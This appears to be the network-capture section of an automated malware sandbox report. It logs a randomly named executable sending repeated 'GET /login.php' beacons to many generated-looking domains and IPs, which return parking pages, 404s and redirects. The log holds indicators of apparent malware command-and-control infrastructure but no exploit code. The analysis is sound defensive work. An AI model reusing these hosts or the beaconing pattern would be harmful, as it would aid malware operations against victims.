Nov 11, 2024 18:51:11.169617891 CET	1236	IN	Data Raw: 3d 22 22 7d 76 61 72 20 6a 3d 75 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 6a 2e 73 72 63 3d 6b 2b 22 2f 2f 22 2b 68 2e 63 6d 70 5f 63 64 6e 2b 22 2f 64 65 6c 69 76 65 72 79 2f 22 2b 6d 2b 22 2f 63 6d 70 22 2b 62 Data Ascii: =""}var j=u.createElement("script");j.src=k+"//"+h.cmp_cdn+"/delivery/"+m+"/cmp"+b+p+".js";j.type="text/javascript";j.setAttribute("data-cmp-ab","1");j.async=true;if(u.currentScript&&u.currentScript.parentElement){u.currentScript.parentElement
Nov 11, 2024 18:51:11.169629097 CET	424	IN	Data Raw: 65 6c 73 65 7b 76 61 72 20 63 3d 62 2e 73 75 62 73 74 72 28 62 2e 69 6e 64 65 78 4f 66 28 22 3d 22 29 2b 31 2c 62 2e 6c 65 6e 67 74 68 29 7d 69 66 28 68 3d 3d 67 29 7b 66 3d 63 7d 76 61 72 20 65 3d 62 2e 69 6e 64 65 78 4f 66 28 22 3b 22 29 2b 31 Data Ascii: else{var c=b.substr(b.indexOf("=")+1,b.length)}if(h==g){f=c}var e=b.indexOf(";")+1;if(e==0){e=b.length}b=b.substring(e,b.length)}return(f)};window.cmp_stub=function(){var a=arguments;__cmp.a=__cmp.a\|\|[];if(!a.length){return __cmp.a}else{if(a[0
Nov 11, 2024 18:51:11.169640064 CET	1236	IN	Data Raw: 66 28 61 5b 30 5d 3d 3d 3d 22 67 65 74 55 53 50 44 61 74 61 22 29 7b 61 5b 32 5d 28 7b 76 65 72 73 69 6f 6e 3a 31 2c 75 73 70 53 74 72 69 6e 67 3a 77 69 6e 64 6f 77 2e 63 6d 70 5f 72 63 28 22 22 29 7d 2c 74 72 75 65 29 7d 65 6c 73 65 7b 69 66 28 Data Ascii: f(a[0]==="getUSPData"){a[2]({version:1,uspString:window.cmp_rc("")},true)}else{if(a[0]==="getTCData"){__cmp.a.push([].slice.apply(a))}else{if(a[0]==="addEventListener"\|\|a[0]==="removeEventListener"){__cmp.a.push([].slice.apply(a))}else{if(a.le
Nov 11, 2024 18:51:11.170239925 CET	1236	IN	Data Raw: 65 63 74 69 6f 6e 49 64 3a 33 2c 67 70 70 56 65 72 73 69 6f 6e 3a 31 2c 73 65 63 74 69 6f 6e 4c 69 73 74 3a 5b 5d 2c 61 70 70 6c 69 63 61 62 6c 65 53 65 63 74 69 6f 6e 73 3a 5b 30 5d 2c 67 70 70 53 74 72 69 6e 67 3a 22 22 2c 70 69 6e 67 44 61 74 Data Ascii: ectionId:3,gppVersion:1,sectionList:[],applicableSections:[0],gppString:"",pingData:window.cmp_gpp_ping()}}else{if(g==="hasSection"\|\|g==="getSection"\|\|g==="getField"){return null}else{__gpp.q.push([].slice.apply(a))}}}}}};window.cmp_msghandler
Nov 11, 2024 18:51:11.174195051 CET	1236	IN	Data Raw: 6c 6c 49 64 7d 7d 3b 64 2e 73 6f 75 72 63 65 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 61 3f 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 29 3a 65 2c 22 2a 22 29 7d 2c 22 70 61 72 61 6d 65 74 65 72 22 20 69 6e 20 62 3f 62 2e 70 61 72 61 6d 65 74 Data Ascii: llId}};d.source.postMessage(a?JSON.stringify(e):e,"*")},"parameter" in b?b.parameter:null,"version" in b?b.version:1)}};window.cmp_setStub=function(a){if(!(a in window)\|\|(typeof(window[a])!=="function"&&typeof(window[a])!=="object"&&(typeof(wi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	50215	154.212.231.82	80	6912	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:09.068675041 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Nov 11, 2024 18:51:09.951647997 CET	696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 11 Nov 2024 17:51:09 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	50216	91.195.240.19	80	6912	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:09.068676949 CET	271	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: www.gahyqah.com Connection: Keep-Alive
Nov 11, 2024 18:51:09.747026920 CET	1236	IN	HTTP/1.1 200 OK date: Mon, 11 Nov 2024 17:51:09 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_g5rlXs9RuRW4dglqQ5LydJEttSTVBsfpTg5YbTbTgxQyCxJaX/4wWztIAOuRl2yVYhX0WGF1Yaew3U85nGI5uA== last-modified: Mon, 11 Nov 2024 17:51:09 GMT x-cache-miss-from: parking-7596689c44-prw7b server: Parking/1.0 Data Raw: 38 35 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 67 35 72 6c 58 73 39 52 75 52 57 34 64 67 6c 71 51 35 4c 79 64 4a 45 74 74 53 54 56 42 73 66 70 54 67 35 59 62 54 62 54 67 78 51 79 43 78 4a 61 58 2f 34 77 57 7a 74 49 41 4f 75 52 6c 32 79 56 59 68 58 30 57 47 46 31 59 61 65 77 33 55 38 35 6e 47 49 35 75 41 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 67 61 68 79 71 61 68 2e 63 6f 6d 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 67 61 68 79 71 61 68 20 [TRUNCATED] Data Ascii: 859<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_g5rlXs9RuRW4dglqQ5LydJEttSTVBsfpTg5YbTbTgxQyCxJaX/4wWztIAOuRl2yVYhX0WGF1Yaew3U85nGI5uA==><head><meta charset="utf-8"><title>gahyqah.com - gahyqah Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="gahyqah.com is your first and best source for all of the information youre looking for. From g
Nov 11, 2024 18:51:09.747109890 CET	1236	IN	Data Raw: 65 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d 6f 72 65 20 6f 66 20 77 68 61 74 20 79 6f 75 20 77 6f 75 6c 64 20 65 78 70 65 63 74 20 74 6f 20 66 69 6e 64 20 68 65 72 65 2c 20 67 61 68 79 71 61 68 2e 63 6f 6d 20 68 61 73 20 69 74 20 61 6c Data Ascii: eneral topics to more of what you would expect to find here, gahyqah.com has it all. We hope you find what you are searching for!"><link rel="icon" type="image/png" href="//img.sedoparking.com/templates/logos/sedo_logo.
Nov 11, 2024 18:51:09.747122049 CET	424	IN	Data Raw: 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 73 76 67 3a 6e 6f 74 28 3a 72 6f 6f 74 29 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 66 Data Ascii: -style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}button,html [type=button],[type=re
Nov 11, 2024 18:51:09.747468948 CET	1236	IN	Data Raw: 79 6c 65 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 30 7d 62 75 74 74 6f 6e 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 72 69 6e 67 2c 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 72 69 6e 67 2c 5b 74 79 70 65 3d 72 65 73 65 74 5d Data Ascii: yle:none;padding:0}button:-moz-focusring,[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display
Nov 11, 2024 18:51:09.747625113 CET	212	IN	Data Raw: 6f 78 5f 5f 63 6f 6e 74 65 6e 74 2d 68 65 61 64 69 6e 67 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 62 75 79 62 6f 78 5f 5f 63 6f 6e 74 65 6e 74 2d 74 65 78 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 7d Data Ascii: ox__content-heading{font-size:15px}.container-buybox__content-text{font-size:12px}.container-buybox__content-link{color:#949494}.container-buybox__content-link--no-decoration{text-decoration:none}.container-searc
Nov 11, 2024 18:51:09.747636080 CET	1236	IN	Data Raw: 68 62 6f 78 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 30 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 73 65 61 72 63 68 62 6f 78 5f 5f 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 69 6e Data Ascii: hbox{margin-bottom:50px;text-align:center}.container-searchbox__content{display:inline-block;font-family:arial,sans-serif;font-size:12px}.container-searchbox__searchtext-label{display:none}.container-searchbox__input,.container-searchbox__butt
Nov 11, 2024 18:51:09.748137951 CET	1236	IN	Data Raw: 62 61 63 6b 67 72 6f 75 6e 64 3a 23 35 66 35 66 35 66 3b 66 6f 6e 74 2d 73 69 0d 0a 31 32 30 43 0d 0a 7a 65 3a 31 32 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 35 70 78 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 7d 2e 63 6f Data Ascii: background:#5f5f5f;font-si120Cze:12px;padding-top:15px;padding-bottom:15px}.container-cookie-message__content-text{color:#fff}.container-cookie-message__content-text{margin-left:15%;margin-right:15%}.container-cookie-message__content-inter
Nov 11, 2024 18:51:09.748148918 CET	1236	IN	Data Raw: 6f 64 61 6c 2d 77 69 6e 64 6f 77 5f 5f 63 6f 6e 74 65 6e 74 2d 62 6f 64 79 20 74 61 62 6c 65 20 74 64 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 35 70 78 7d 2e 63 6f 6f 6b 69 65 2d 6d 6f 64 61 6c 2d 77 69 6e 64 6f 77 5f 5f 63 6f 6e 74 65 6e 74 Data Ascii: odal-window__content-body table td{padding-left:15px}.cookie-modal-window__content-necessary-cookies-row{background-color:#dee1e3}.disabled{display:none;z-index:-999}.btn{display:inline-block;border-style:solid;border-radius:5px;padding:15px 2
Nov 11, 2024 18:51:09.748162985 CET	1236	IN	Data Raw: 6e 74 65 72 3b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 72 69 67 68 74 3a 30 3b 62 6f 74 74 6f 6d 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 61 36 32 36 38 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 2e 34 73 Data Ascii: nter;top:0;left:0;right:0;bottom:0;background-color:#5a6268;-webkit-transition:.4s;transition:.4s}.switch__slider:before{position:absolute;content:"";height:26px;width:26px;left:4px;bottom:4px;background-color:#fff;-webkit-transition:.4s;trans
Nov 11, 2024 18:51:09.748177052 CET	948	IN	Data Raw: 72 2d 61 64 73 2d 2d 74 77 6f 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 2e 35 25 3b 68 65 69 67 68 74 3a 37 30 30 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 5f 5f 77 65 62 61 72 63 68 69 76 65 7b 6d 61 72 67 69 6e 2d 74 6f 70 Data Ascii: r-ads--twot{margin-top:2.5%;height:700px}.container-content__webarchive{margin-top:4.5%}.container-content__header{color:#848484;font-size:15px;margin:0}.container-content__left{background:url("//img.sedoparking.com/templates/bg/arrows-curved.
Nov 11, 2024 18:51:09.752335072 CET	1236	IN	Data Raw: 35 37 31 0d 0a 2d 63 6f 6e 74 65 6e 74 2d 2d 74 77 6f 74 20 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 5f 5f 72 69 67 68 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 2d 79 3a 74 6f 70 7d 2e 63 6f 6e 74 61 69 6e 65 72 Data Ascii: 571-content--twot .container-content__right{background-position-y:top}.container-content--wa .container-content__left{background-position-y:top}.container-content--wa .container-content__right{background-position-y:top}.two-tier-ads-list{pad

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	50218	44.221.84.105	80	6912	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:09.068933964 CET	352	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vocyzit.com Cookie: snkz=66.23.206.109; btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347428\|1731347428\|0\|1\|0
Nov 11, 2024 18:51:09.494942904 CET	335	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347469\|1731347428\|20\|2\|0; path=/; domain=.vocyzit.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	50219	178.162.203.226	80	6912	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:09.223047018 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	50226	18.208.156.248	80	1220	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:10.603477955 CET	353	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vonypom.com Cookie: snkz=66.23.206.109; btst=540e8cd587688b22b6a34721957e6de0\|66.23.206.109\|1731347463\|1731347428\|17\|2\|0
Nov 11, 2024 18:51:11.028491974 CET	335	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:51:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=540e8cd587688b22b6a34721957e6de0\|66.23.206.109\|1731347470\|1731347428\|12\|3\|0; path=/; domain=.vonypom.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	50228	199.191.50.83	80	1220	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:10.620594978 CET	281	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com Cookie: vsid=903vr478893028933998491
Nov 11, 2024 18:51:12.470735073 CET	620	IN	HTTP/1.1 302 Found Date: Mon, 11 Nov 2024 17:51:11 GMT Server: Apache Referrer-Policy: no-referrer-when-downgrade Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com") Location: //ww3.galyqaz.com Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	50227	154.212.231.82	80	1220	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:10.625415087 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Nov 11, 2024 18:51:11.524477005 CET	696	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 11 Nov 2024 17:51:11 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	50234	208.100.26.245	80	5128	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:11.776649952 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lyvyxor.com
Nov 11, 2024 18:51:12.221431971 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Nov 2024 17:51:12 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	50236	199.191.50.83	80	5128	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:12.087395906 CET	281	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com Cookie: vsid=903vr478893028933998491
Nov 11, 2024 18:51:13.582881927 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 17:51:12 GMT Server: Apache Referrer-Policy: no-referrer-when-downgrade Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com") X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_NHOnw0G73BscnvIcyf8HaXYxUwB52N5y4R2rV77ldfg6F/P3HTMIgnr4aIPWR/fyPGslgb3huQzNdSH/7sK+hw== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 61 39 32 36 0d 0a 3c 